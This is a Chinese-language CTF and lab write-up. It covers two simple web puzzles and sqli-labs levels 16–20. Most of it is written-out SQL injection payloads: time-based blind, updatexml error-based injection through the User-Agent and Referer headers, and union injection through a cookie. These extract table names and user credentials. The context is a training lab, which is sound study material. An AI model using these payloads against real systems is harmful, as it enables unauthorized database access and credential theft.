ctf web题两道
1.MYSQL
1.点开过后,又是关于 robots.tx的题,查看源码后看到这个链接确实是百度百科的链接(但我还是点开看了。。)
2.按照上次robot.txt题的经验,于是访问robots.txt:
先看懂代码,以get方式给变量id赋值,如果变量id的值等于1024,echo “no!try again”,否则就输出一个$query[content],content是内容的意思,所以肯定会输出点什么东西。
3.然后根据提示,访问sql.php,并以get方式给id赋值,我首先尝试了id=1024:
果然是try again,然后试试其他数字看看,发现就没有东西显示了
试了哈其他的数字,然后试了试小数,flag就出来了,后来发现是因为$id必须在值上等于1024 但又不能是1024。。所以试小数的时候会成功。
2.COOKIE
题目首先就有一个提示:0==not。
然后打开题目
根据之前做有关cookie题的经验,按f12查看存储
发现显示的 Login :“0”,加上最开始题目的提示,所以把值修改为1 然后刷新flag就出来了。
sqli_labs less16-less20
less16
1.首先查找注入点,
admin") or 1=1 #
2.用时间盲注
admin") and if(length(database())=8,sleep(3),sleep(0)) #
猜解出数据库长度为8.
admin") and if(substr(database(),1,1)='s',sleep(3),sleep(0)) #
admin") and if(substr(database(),3,1)='c',sleep(3),sleep(0)) #
猜解数据库名security。
admin") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security' limit ,1),2,1)='m',sleep(3),sleep(0)) #
//第一个表名的第一个字母为e 依次猜解表名为 email
admin") and if(substr((select group_concat(column_name) from information_schema.columns where table_name='emails' limit 0,1),2,1)='d',sleep(3),sleep(0)) #
字段为id
后面继续用此法可猜解出 username password。
less17
一进来就发现和之前的关卡不一样了,但同样由于习惯,还是输入admin 试试,还真就登进去了。
但是要拿到数据的话,应该查找注入点。此时用之前的方式注入已经行不通了,所以查看源码找突破口:
用xpath报错注入方法。
' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) # //爆数据库名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) # //爆表
' or updatexml(1,concat(0x7e,(select group_concat(concat_ws("*",username,password)) from security.users),0x7e),1) # // 爆字段
' or updatexml(1,concat('#',(select * from (select group_concat(concat_ws('*',id,username,password)) from users) a)),0) # //爆具体数据
less18
1.和之前页面又不一样了,首先查找注入点,这次输入admin 确显示登陆不进去了:
查了查原因,是因为在第17关的时候,我们已经对密码进行了修改,所以在less18的时候密码就不再是原来的那个了
由于这道题不能用之前的注入方式了,用户和密码都有check_input()处理,所以在username和password栏里添加注入语句已经行不通了,并且必须有正确的账号密码,才能进行接下来的注入。
登陆成功会显示User Agent和IP,登陆失败只显示IP。
因为题目提示是Header injection,于是用hackbar的 User Agent 插入注入语句,这里用xpath报错注入。
User-Agent: ' or updatexml(1,concat('#',(database())),0),'','') #
爆数据库名
注意:这里括号是不成对的,具体原因我也不是很清楚,看教程就是这么做的,和之前的用的updatexml语句有一些不同。
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'','')#
爆表名
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'','')#
爆字段
' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'','')#
爆具体数据
less19
与less18差不多,不过这里是用hackbar的referer 工具进行注入,注入的方法还是xpath报错注入。然后这次爆数据库名的时候 我用之前的updatexml报错语句同样不行。然后我瞎试了试,在之前语句的基础上,添加了“)”, 使括号不成对,没想到意外的可行。
所以,可以用这两种语句:
' or updatexml(1,concat(0x7e,(select database())),0x7e),1) #
' or updatexml(1,concat('#',(database())),0),'')#
后面的爆表爆字段报数据我也尝试了加括号的方法,都是可行的。
2.爆表名:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#
3.爆表名:' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0x7e),1) #
4.爆数据:' or updatexml(1,concat(0x7e,(select group_concat(concat_ws("*",username,password)) from security.users)),0x7e),1) #
因为只显示一行,所以显示不完,可以用limit语句挨个爆出来:
' or updatexml(1,concat(0x7e,(select concat_ws("*",id,username,password) from security.users limit 0,1)),0x7e),1) #
less20
-
用admin1 登进去之后,回显的内容有很多,注意到最下面有个“delete your cookie”的按钮,点击后回到了最开始的界面。
-
由于只能猜出这题和cookie 有关,在哪里注入并不是很清楚,于是去其他博客上看了相关教程。查到有两种方法:
又因为我用的火狐,不想再打开Chrome,而且我这里用burpsuite抓不到包(应该是操作问题),所以我就想火狐插件hackbar中的cookies功能可不可以实现注入。
3. 于是我就各种尝试,发现是可行的。只不过要添加" uname= " ,其余的sq注入语句和最开始less1 差多。
4. 报数据库名:security
uname=1%27 union select 1,2,database() #
-
表名:
uname=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
-
字段名:
uname=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
-
具体数据:
1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#